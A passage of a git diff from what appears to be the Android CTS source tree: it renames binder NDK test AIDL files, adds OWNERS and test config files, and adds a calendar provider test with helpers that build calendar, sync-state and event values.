rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/RegularPolygon.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/Bar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/Bar.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/Bar.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/Bar.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/ByteEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ByteEnum.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/ByteEnum.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ByteEnum.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/Foo.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/Foo.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/Foo.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/IEmpty.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/IEmpty.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/IEmpty.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/IEmpty.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ITest.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/ITest.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/ITest.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/IntEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/IntEnum.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/IntEnum.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/IntEnum.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/LongEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/LongEnum.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/LongEnum.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/LongEnum.aidl
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/RegularPolygon.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/RegularPolygon.aidl
similarity index 100%
rename from tests/tests/binder_ndk/libbinder_ndk_test/api/2/test_package/RegularPolygon.aidl
rename to tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/2/test_package/RegularPolygon.aidl
diff --git a/tests/tests/bluetooth/OWNERS b/tests/tests/bluetooth/OWNERS
new file mode 100644
index 0000000..7e7c217
--- /dev/null
+++ b/tests/tests/bluetooth/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 27441
+zachoverflow@google.com
diff --git a/tests/tests/calendarcommon/AndroidTest.xml b/tests/tests/calendarcommon/AndroidTest.xml
index 0785102..47799e2 100644
--- a/tests/tests/calendarcommon/AndroidTest.xml
+++ b/tests/tests/calendarcommon/AndroidTest.xml
@@ -20,6 +20,7 @@
     <!-- Instant apps can't access the calendar provider. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/calendarprovider/Android.bp b/tests/tests/calendarprovider/Android.bp
new file mode 100644
index 0000000..43ecb0d
--- /dev/null
+++ b/tests/tests/calendarprovider/Android.bp
@@ -0,0 +1,29 @@
+android_test {
+    name: "CtsCalendarProviderTestCases",
+    defaults: ["cts_defaults"],
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+    libs: [
+        "android.test.mock",
+        "android.test.base.stubs",
+        "android.test.runner.stubs",
+    ],
+
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "junit",
+        "truth-prebuilt",
+        "mockito-target-minus-junit4",
+    ],
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "test_current",
+    min_sdk_version: "29",
+}
diff --git a/tests/tests/calendarprovider/AndroidManifest.xml b/tests/tests/calendarprovider/AndroidManifest.xml
new file mode 100644
index 0000000..62562ff
--- /dev/null
+++ b/tests/tests/calendarprovider/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.provider.cts.calendar">
+
+    <uses-sdk android:targetSdkVersion="29" />
+
+    <uses-permission android:name="android.permission.WRITE_CALENDAR" />
+    <uses-permission android:name="android.permission.READ_CALENDAR" />
+
+    <application>
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.provider.cts.calendar">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
+
diff --git a/tests/tests/calendarprovider/AndroidTest.xml b/tests/tests/calendarprovider/AndroidTest.xml
new file mode 100644
index 0000000..16d5ecf
--- /dev/null
+++ b/tests/tests/calendarprovider/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Provider test cases">
+    <option name="test-suite-tag" value="cts" />
+
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+
+    <!-- Instant apps can't access the system providers. -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsCalendarProviderTestCases.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
+        <option name="package" value="android.provider.cts.calendar" />
+        <option name="runtime-hint" value="2m00s" />
+    </test>
+</configuration>
diff --git a/tests/tests/calendarprovider/OWNERS b/tests/tests/calendarprovider/OWNERS
new file mode 100644
index 0000000..301c336
--- /dev/null
+++ b/tests/tests/calendarprovider/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 197771
+omakoto@google.com
+yamasani@google.com
diff --git a/tests/tests/calendarprovider/src/android/provider/cts/calendar/CalendarTest.java b/tests/tests/calendarprovider/src/android/provider/cts/calendar/CalendarTest.java
new file mode 100644
index 0000000..7a672c1
--- /dev/null
+++ b/tests/tests/calendarprovider/src/android/provider/cts/calendar/CalendarTest.java
@@ -0,0 +1,3766 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.calendar;
+
+import android.content.BroadcastReceiver;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.Entity;
+import android.content.EntityIterator;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.provider.CalendarContract;
+import android.provider.CalendarContract.Attendees;
+import android.provider.CalendarContract.CalendarEntity;
+import android.provider.CalendarContract.Calendars;
+import android.provider.CalendarContract.Colors;
+import android.provider.CalendarContract.Events;
+import android.provider.CalendarContract.EventsEntity;
+import android.provider.CalendarContract.ExtendedProperties;
+import android.provider.CalendarContract.Instances;
+import android.provider.CalendarContract.Reminders;
+import android.provider.CalendarContract.SyncState;
+import android.test.InstrumentationTestCase;
+import android.test.suitebuilder.annotation.MediumTest;
+import android.text.TextUtils;
+import android.text.format.DateUtils;
+import android.text.format.Time;
+import android.util.Log;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+public class CalendarTest extends InstrumentationTestCase {
+
+    private static final String TAG = "CalCTS";
+    private static final String CTS_TEST_TYPE = "LOCAL";
+
+    // an arbitrary int used by some tests
+    private static final int SOME_ARBITRARY_INT = 143234;
+
+    // 15 sec timeout for reminder broadcast (but shouldn't usually take this long).
+    private static final int POLLING_TIMEOUT = 15000;
+
+    // @formatter:off
+    private static final String[] TIME_ZONES = new String[] {
+            "UTC",
+            "America/Los_Angeles",
+            "Asia/Beirut",
+            "Pacific/Auckland", };
+    // @formatter:on
+
+    private static final String SQL_WHERE_ID = Events._ID + "=?";
+    private static final String SQL_WHERE_CALENDAR_ID = Events.CALENDAR_ID + "=?";
+
+    private ContentResolver mContentResolver;
+
+    /** If set, log verbose instance info when running recurrence tests. */
+    private static final boolean DEBUG_RECURRENCE = false;
+
+    private static class CalendarHelper {
+
+        // @formatter:off
+        public static final String[] CALENDARS_SYNC_PROJECTION = new String[] {
+                Calendars._ID,
+                Calendars.ACCOUNT_NAME,
+                Calendars.ACCOUNT_TYPE,
+                Calendars._SYNC_ID,
+                Calendars.CAL_SYNC7,
+                Calendars.CAL_SYNC8,
+                Calendars.DIRTY,
+                Calendars.NAME,
+                Calendars.CALENDAR_DISPLAY_NAME,
+                Calendars.CALENDAR_COLOR,
+                Calendars.CALENDAR_COLOR_KEY,
+                Calendars.CALENDAR_ACCESS_LEVEL,
+                Calendars.VISIBLE,
+                Calendars.SYNC_EVENTS,
+                Calendars.CALENDAR_LOCATION,
+                Calendars.CALENDAR_TIME_ZONE,
+                Calendars.OWNER_ACCOUNT,
+                Calendars.CAN_ORGANIZER_RESPOND,
+                Calendars.CAN_MODIFY_TIME_ZONE,
+                Calendars.MAX_REMINDERS,
+                Calendars.ALLOWED_REMINDERS,
+                Calendars.ALLOWED_AVAILABILITY,
+                Calendars.ALLOWED_ATTENDEE_TYPES,
+                Calendars.DELETED,
+                Calendars.CAL_SYNC1,
+                Calendars.CAL_SYNC2,
+                Calendars.CAL_SYNC3,
+                Calendars.CAL_SYNC4,
+                Calendars.CAL_SYNC5,
+                Calendars.CAL_SYNC6,
+                };
+        // @formatter:on
+
+        private CalendarHelper() {}     // do not instantiate this class
+
+        /**
+         * Generates the e-mail address for the Calendar owner.  Use this for
+         * Calendars.OWNER_ACCOUNT, Events.OWNER_ACCOUNT, and for Attendees.ATTENDEE_EMAIL
+         * when you want a "self" attendee entry.
+         */
+        static String generateCalendarOwnerEmail(String account) {
+            return "OWNER_" + account + "@example.com";
+        }
+
+        /**
+         * Creates a new set of values for creating a single calendar with every
+         * field.
+         *
+         * @param account The account name to create this calendar with
+         * @param seed A number used to generate the values
+         * @return A complete set of values for the calendar
+         */
+        public static ContentValues getNewCalendarValues(
+                String account, int seed) {
+            String seedString = Long.toString(seed);
+            ContentValues values = new ContentValues();
+            values.put(Calendars.ACCOUNT_TYPE, CTS_TEST_TYPE);
+
+            values.put(Calendars.ACCOUNT_NAME, account);
+            values.put(Calendars._SYNC_ID, "SYNC_ID:" + seedString);
+            values.put(Calendars.CAL_SYNC7, "SYNC_V:" + seedString);
+            values.put(Calendars.CAL_SYNC8, "SYNC_TIME:" + seedString);
+            values.put(Calendars.DIRTY, 0);
+            values.put(Calendars.OWNER_ACCOUNT, generateCalendarOwnerEmail(account));
+
+            values.put(Calendars.NAME, seedString);
+            values.put(Calendars.CALENDAR_DISPLAY_NAME, "DISPLAY_" + seedString);
+
+            values.put(Calendars.CALENDAR_ACCESS_LEVEL, (seed % 8) * 100);
+
+            values.put(Calendars.CALENDAR_COLOR, 0xff000000 + seed);
+            values.put(Calendars.VISIBLE, seed % 2);
+            values.put(Calendars.SYNC_EVENTS, 1);   // must be 1 for recurrence expansion
+            values.put(Calendars.CALENDAR_LOCATION, "LOCATION:" + seedString);
+            values.put(Calendars.CALENDAR_TIME_ZONE, TIME_ZONES[seed % TIME_ZONES.length]);
+            values.put(Calendars.CAN_ORGANIZER_RESPOND, seed % 2);
+            values.put(Calendars.CAN_MODIFY_TIME_ZONE, seed % 2);
+            values.put(Calendars.MAX_REMINDERS, 3);
+            values.put(Calendars.ALLOWED_REMINDERS, "0,1,2");   // does not include SMS (3)
+            values.put(Calendars.ALLOWED_ATTENDEE_TYPES, "0,1,2,3");
+            values.put(Calendars.ALLOWED_AVAILABILITY, "0,1,2,3");
+            values.put(Calendars.CAL_SYNC1, "SYNC1:" + seedString);
+            values.put(Calendars.CAL_SYNC2, "SYNC2:" + seedString);
+            values.put(Calendars.CAL_SYNC3, "SYNC3:" + seedString);
+            values.put(Calendars.CAL_SYNC4, "SYNC4:" + seedString);
+            values.put(Calendars.CAL_SYNC5, "SYNC5:" + seedString);
+            values.put(Calendars.CAL_SYNC6, "SYNC6:" + seedString);
+
+            return values;
+        }
+
+        /**
+         * Creates a set of values with just the updates and modifies the
+         * original values to the expected values
+         */
+        public static ContentValues getUpdateCalendarValuesWithOriginal(
+                ContentValues original, int seed) {
+            ContentValues values = new ContentValues();
+            String seedString = Long.toString(seed);
+
+            values.put(Calendars.CALENDAR_DISPLAY_NAME, "DISPLAY_" + seedString);
+            values.put(Calendars.CALENDAR_COLOR, 0xff000000 + seed);
+            values.put(Calendars.VISIBLE, seed % 2);
+            values.put(Calendars.SYNC_EVENTS, seed % 2);
+
+            original.putAll(values);
+            original.put(Calendars.DIRTY, 1);
+
+            return values;
+        }
+
+        public static int deleteCalendarById(ContentResolver resolver, long id) {
+            return resolver.delete(Calendars.CONTENT_URI, Calendars._ID + "=?",
+                    new String[] { Long.toString(id) });
+        }
+
+        public static int deleteCalendarByAccount(ContentResolver resolver, String account) {
+            return resolver.delete(Calendars.CONTENT_URI, Calendars.ACCOUNT_NAME + "=?",
+                    new String[] { account });
+        }
+
+        public static Cursor getCalendarsByAccount(ContentResolver resolver, String account) {
+            String selection = Calendars.ACCOUNT_TYPE + "=?";
+            String[] selectionArgs;
+            if (account != null) {
+                selection += " AND " + Calendars.ACCOUNT_NAME + "=?";
+                selectionArgs = new String[2];
+                selectionArgs[1] = account;
+            } else {
+                selectionArgs = new String[1];
+            }
+            selectionArgs[0] = CTS_TEST_TYPE;
+
+            return resolver.query(Calendars.CONTENT_URI, CALENDARS_SYNC_PROJECTION, selection,
+                    selectionArgs, null);
+        }
+    }
+
+    /**
+     * Helper class for manipulating entries in the _sync_state table.
+     */
+    private static class SyncStateHelper {
+        public static final String[] SYNCSTATE_PROJECTION = new String[] {
+            SyncState._ID,
+            SyncState.ACCOUNT_NAME,
+            SyncState.ACCOUNT_TYPE,
+            SyncState.DATA
+        };
+
+        private static final byte[] SAMPLE_SYNC_DATA = {
+            (byte) 'H', (byte) 'e', (byte) 'l', (byte) 'l', (byte) 'o'
+        };
+
+        private SyncStateHelper() {}      // do not instantiate
+
+        /**
+         * Creates a new set of values for creating a new _sync_state entry.
+         */
+        public static ContentValues getNewSyncStateValues(String account) {
+            ContentValues values = new ContentValues();
+            values.put(SyncState.DATA, SAMPLE_SYNC_DATA);
+            values.put(SyncState.ACCOUNT_NAME, account);
+            values.put(SyncState.ACCOUNT_TYPE, CTS_TEST_TYPE);
+            return values;
+        }
+
+        /**
+         * Retrieves the _sync_state entry with the specified ID.
+         */
+        public static Cursor getSyncStateById(ContentResolver resolver, long id) {
+            Uri uri = ContentUris.withAppendedId(SyncState.CONTENT_URI, id);
+            return resolver.query(uri, SYNCSTATE_PROJECTION, null, null, null);
+        }
+
+        /**
+         * Retrieves the _sync_state entry for the specified account.
+         */
+        public static Cursor getSyncStateByAccount(ContentResolver resolver, String account) {
+            assertNotNull(account);
+            String selection = SyncState.ACCOUNT_TYPE + "=? AND " + SyncState.ACCOUNT_NAME + "=?";
+            String[] selectionArgs = new String[] { CTS_TEST_TYPE, account };
+
+            return resolver.query(SyncState.CONTENT_URI, SYNCSTATE_PROJECTION, selection,
+                    selectionArgs, null);
+        }
+
+        /**
+         * Deletes the _sync_state entry with the specified ID.  Always done as app.
+         */
+        public static int deleteSyncStateById(ContentResolver resolver, long id) {
+            Uri uri = ContentUris.withAppendedId(SyncState.CONTENT_URI, id);
+            return resolver.delete(uri, null, null);
+        }
+
+        /**
+         * Deletes the _sync_state entry associated with the specified account.  Can be done
+         * as app or sync adapter.
+         */
+        public static int deleteSyncStateByAccount(ContentResolver resolver, String account,
+                boolean asSyncAdapter) {
+            Uri uri = SyncState.CONTENT_URI;
+            if (asSyncAdapter) {
+                uri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
+            }
+            return resolver.delete(uri, SyncState.ACCOUNT_NAME + "=?",
+                    new String[] { account });
+        }
+    }
+
+    // @formatter:off
+    private static class EventHelper {
+        public static final String[] EVENTS_PROJECTION = new String[] {
+            Events._ID,
+            Events.ACCOUNT_NAME,
+            Events.ACCOUNT_TYPE,
+            Events.OWNER_ACCOUNT,
+            // Events.ORGANIZER_CAN_RESPOND, from Calendars
+            // Events.CAN_CHANGE_TZ, from Calendars
+            // Events.MAX_REMINDERS, from Calendars
+            Events.CALENDAR_ID,
+            // Events.CALENDAR_DISPLAY_NAME, from Calendars
+            // Events.CALENDAR_COLOR, from Calendars
+            // Events.CALENDAR_ACL, from Calendars
+            // Events.CALENDAR_VISIBLE, from Calendars
+            Events.SYNC_DATA3,
+            Events.SYNC_DATA6,
+            Events.TITLE,
+            Events.EVENT_LOCATION,
+            Events.DESCRIPTION,
+            Events.STATUS,
+            Events.SELF_ATTENDEE_STATUS,
+            Events.DTSTART,
+            Events.DTEND,
+            Events.EVENT_TIMEZONE,
+            Events.EVENT_END_TIMEZONE,
+            Events.EVENT_COLOR,
+            Events.EVENT_COLOR_KEY,
+            Events.DURATION,
+            Events.ALL_DAY,
+            Events.ACCESS_LEVEL,
+            Events.AVAILABILITY,
+            Events.HAS_ALARM,
+            Events.HAS_EXTENDED_PROPERTIES,
+            Events.RRULE,
+            Events.RDATE,
+            Events.EXRULE,
+            Events.EXDATE,
+            Events.ORIGINAL_ID,
+            Events.ORIGINAL_SYNC_ID,
+            Events.ORIGINAL_INSTANCE_TIME,
+            Events.ORIGINAL_ALL_DAY,
+            Events.LAST_DATE,
+            Events.HAS_ATTENDEE_DATA,
+            Events.GUESTS_CAN_MODIFY,
+            Events.GUESTS_CAN_INVITE_OTHERS,
+            Events.GUESTS_CAN_SEE_GUESTS,
+            Events.ORGANIZER,
+            Events.DELETED,
+            Events._SYNC_ID,
+            Events.SYNC_DATA4,
+            Events.SYNC_DATA5,
+            Events.DIRTY,
+            Events.SYNC_DATA8,
+            Events.SYNC_DATA2,
+            Events.SYNC_DATA1,
+            Events.SYNC_DATA2,
+            Events.SYNC_DATA3,
+            Events.SYNC_DATA4,
+            Events.MUTATORS,
+        };
+        // @formatter:on
+
+        private EventHelper() {}    // do not instantiate this class
+
+        /**
+         * Constructs a set of name/value pairs that can be used to create a Calendar event.
+         * Various fields are generated from the seed value.
+         */
+        public static ContentValues getNewEventValues(
+                String account, int seed, long calendarId, boolean asSyncAdapter) {
+            String seedString = Long.toString(seed);
+            ContentValues values = new ContentValues();
+            values.put(Events.ORGANIZER, "ORGANIZER:" + seedString);
+
+            values.put(Events.TITLE, "TITLE:" + seedString);
+            values.put(Events.EVENT_LOCATION, "LOCATION_" + seedString);
+
+            values.put(Events.CALENDAR_ID, calendarId);
+
+            values.put(Events.DESCRIPTION, "DESCRIPTION:" + seedString);
+            values.put(Events.STATUS, seed % 2);    // avoid STATUS_CANCELED for general testing
+
+            values.put(Events.DTSTART, seed);
+            values.put(Events.DTEND, seed + DateUtils.HOUR_IN_MILLIS);
+            values.put(Events.EVENT_TIMEZONE, TIME_ZONES[seed % TIME_ZONES.length]);
+            values.put(Events.EVENT_COLOR, seed);
+            // values.put(Events.EVENT_TIMEZONE2, TIME_ZONES[(seed +1) %
+            // TIME_ZONES.length]);
+            if ((seed % 2) == 0) {
+                // Either set to zero, or leave unset to get default zero.
+                // Must be 0 or dtstart/dtend will get adjusted.
+                values.put(Events.ALL_DAY, 0);
+            }
+            values.put(Events.ACCESS_LEVEL, seed % 4);
+            values.put(Events.AVAILABILITY, seed % 2);
+            values.put(Events.HAS_EXTENDED_PROPERTIES, seed % 2);
+            values.put(Events.HAS_ATTENDEE_DATA, seed % 2);
+            values.put(Events.GUESTS_CAN_MODIFY, seed % 2);
+            values.put(Events.GUESTS_CAN_INVITE_OTHERS, seed % 2);
+            values.put(Events.GUESTS_CAN_SEE_GUESTS, seed % 2);
+
+            // Default is STATUS_TENTATIVE (0).  We either set it to that explicitly, or leave
+            // it set to the default.
+            if (seed != Events.STATUS_TENTATIVE) {
+                values.put(Events.SELF_ATTENDEE_STATUS, Events.STATUS_TENTATIVE);
+            }
+
+            if (asSyncAdapter) {
+                values.put(Events._SYNC_ID, "SYNC_ID:" + seedString);
+                values.put(Events.SYNC_DATA4, "SYNC_V:" + seedString);
+                values.put(Events.SYNC_DATA5, "SYNC_TIME:" + seedString);
+                values.put(Events.SYNC_DATA3, "HTML:" + seedString);
+                values.put(Events.SYNC_DATA6, "COMMENTS:" + seedString);
+                values.put(Events.DIRTY, 0);
+                values.put(Events.SYNC_DATA8, "0");
+            } else {
+                // only the sync adapter can set the DIRTY flag
+                //values.put(Events.DIRTY, 1);
+            }
+            // values.put(Events.SYNC1, "SYNC1:" + seedString);
+            // values.put(Events.SYNC2, "SYNC2:" + seedString);
+            // values.put(Events.SYNC3, "SYNC3:" + seedString);
+            // values.put(Events.SYNC4, "SYNC4:" + seedString);
+            // values.put(Events.SYNC5, "SYNC5:" + seedString);
+//            Events.RRULE,
+//            Events.RDATE,
+//            Events.EXRULE,
+//            Events.EXDATE,
+//            // Events.ORIGINAL_ID
+//            Events.ORIGINAL_EVENT, // rename ORIGINAL_SYNC_ID
+//            Events.ORIGINAL_INSTANCE_TIME,
+//            Events.ORIGINAL_ALL_DAY,
+
+            return values;
+        }
+
+        /**
+         * Constructs a set of name/value pairs that can be used to create a recurring
+         * Calendar event.
+         *
+         * A duration of "P1D" is treated as an all-day event.
+         *
+         * @param startWhen Starting date/time in RFC 3339 format
+         * @param duration Event duration, in RFC 2445 duration format
+         * @param rrule Recurrence rule
+         * @return name/value pairs to use when creating event
+         */
+        public static ContentValues getNewRecurringEventValues(String account, int seed,
+                long calendarId, boolean asSyncAdapter, String startWhen, String duration,
+                String rrule) {
+
+            // Set up some general stuff.
+            ContentValues values = getNewEventValues(account, seed, calendarId, asSyncAdapter);
+
+            // Replace the DTSTART field.
+            String timeZone = values.getAsString(Events.EVENT_TIMEZONE);
+            Time time = new Time(timeZone);
+            time.parse3339(startWhen);
+            values.put(Events.DTSTART, time.toMillis(false));
+
+            // Add in the recurrence-specific fields, and drop DTEND.
+            values.put(Events.RRULE, rrule);
+            values.put(Events.DURATION, duration);
+            values.remove(Events.DTEND);
+
+            return values;
+        }
+
+        /**
+         * Constructs the basic name/value pairs required for an exception to a recurring event.
+         *
+         * @param instanceStartMillis The start time of the instance
+         * @return name/value pairs to use when creating event
+         */
+        public static ContentValues getNewExceptionValues(long instanceStartMillis) {
+            ContentValues values = new ContentValues();
+            values.put(Events.ORIGINAL_INSTANCE_TIME, instanceStartMillis);
+
+            return values;
+        }
+
+        public static ContentValues getUpdateEventValuesWithOriginal(ContentValues original,
+                int seed, boolean asSyncAdapter) {
+            String seedString = Long.toString(seed);
+            ContentValues values = new ContentValues();
+
+            values.put(Events.TITLE, "TITLE:" + seedString);
+            values.put(Events.EVENT_LOCATION, "LOCATION_" + seedString);
+            values.put(Events.DESCRIPTION, "DESCRIPTION:" + seedString);
+            values.put(Events.STATUS, seed % 3);
+
+            values.put(Events.DTSTART, seed);
+            values.put(Events.DTEND, seed + DateUtils.HOUR_IN_MILLIS);
+            values.put(Events.EVENT_TIMEZONE, TIME_ZONES[seed % TIME_ZONES.length]);
+            // values.put(Events.EVENT_TIMEZONE2, TIME_ZONES[(seed +1) %
+            // TIME_ZONES.length]);
+            values.put(Events.ACCESS_LEVEL, seed % 4);
+            values.put(Events.AVAILABILITY, seed % 2);
+            values.put(Events.HAS_EXTENDED_PROPERTIES, seed % 2);
+            values.put(Events.HAS_ATTENDEE_DATA, seed % 2);
+            values.put(Events.GUESTS_CAN_MODIFY, seed % 2);
+            values.put(Events.GUESTS_CAN_INVITE_OTHERS, seed % 2);
+            values.put(Events.GUESTS_CAN_SEE_GUESTS, seed % 2);
+            if (asSyncAdapter) {
+                values.put(Events._SYNC_ID, "SYNC_ID:" + seedString);
+                values.put(Events.SYNC_DATA4, "SYNC_V:" + seedString);
+                values.put(Events.SYNC_DATA5, "SYNC_TIME:" + seedString);
+                values.put(Events.DIRTY, 0);
+            }
+            original.putAll(values);
+            return values;
+        }
+
+        public static void addDefaultReadOnlyValues(ContentValues values, String account,
+                boolean asSyncAdapter) {
+            values.put(Events.SELF_ATTENDEE_STATUS, Events.STATUS_TENTATIVE);
+            values.put(Events.DELETED, 0);
+            values.put(Events.DIRTY, asSyncAdapter ? 0 : 1);
+            values.put(Events.OWNER_ACCOUNT, CalendarHelper.generateCalendarOwnerEmail(account));
+            values.put(Events.ACCOUNT_TYPE, CTS_TEST_TYPE);
+            values.put(Events.ACCOUNT_NAME, account);
+        }
+
+        /**
+         * Generates a RFC2445-format duration string.
+         */
+        private static String generateDurationString(long durationMillis, boolean isAllDay) {
+            long durationSeconds = durationMillis / 1000;
+
+            // The server may react differently to an all-day event specified as "P1D" than
+            // it will to "PT86400S"; see b/1594638.
+            if (isAllDay && (durationSeconds % 86400) == 0) {
+                return "P" + durationSeconds / 86400 + "D";
+            } else {
+                return "PT" + durationSeconds + "S";
+            }
+        }
+
+        /**
+         * Deletes the event, and updates the values.
+         * @param resolver The resolver to issue the query against.
+         * @param uri The deletion URI.
+         * @param values Set of values to update (sets DELETED and DIRTY).
+         * @return The number of rows modified.
+         */
+        public static int deleteEvent(ContentResolver resolver, Uri uri, ContentValues values) {
+            values.put(Events.DELETED, 1);
+            values.put(Events.DIRTY, 1);
+            return resolver.delete(uri, null, null);
+        }
+
+        public static int deleteEventAsSyncAdapter(ContentResolver resolver, Uri uri,
+                String account) {
+            Uri syncUri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
+            return resolver.delete(syncUri, null, null);
+        }
+
+        public static Cursor getEventsByAccount(ContentResolver resolver, String account) {
+            String selection = Calendars.ACCOUNT_TYPE + "=?";
+            String[] selectionArgs;
+            if (account != null) {
+                selection += " AND " + Calendars.ACCOUNT_NAME + "=?";
+                selectionArgs = new String[2];
+                selectionArgs[1] = account;
+            } else {
+                selectionArgs = new String[1];
+            }
+            selectionArgs[0] = CTS_TEST_TYPE;
+            return resolver.query(Events.CONTENT_URI, EVENTS_PROJECTION, selection, selectionArgs,
+                    null);
+        }
+
+        public static Cursor getEventByUri(ContentResolver resolver, Uri uri) {
+            return resolver.query(uri, EVENTS_PROJECTION, null, null, null);
+        }
+
+        /**
+         * Looks up the specified Event in the database and returns the "selfAttendeeStatus"
+         * value.
+         */
+        public static int lookupSelfAttendeeStatus(ContentResolver resolver, long eventId) {
+            return getIntFromDatabase(resolver, Events.CONTENT_URI, eventId,
+                    Events.SELF_ATTENDEE_STATUS);
+        }
+
+        /**
+         * Looks up the specified Event in the database and returns the "hasAlarm"
+         * value.
+         */
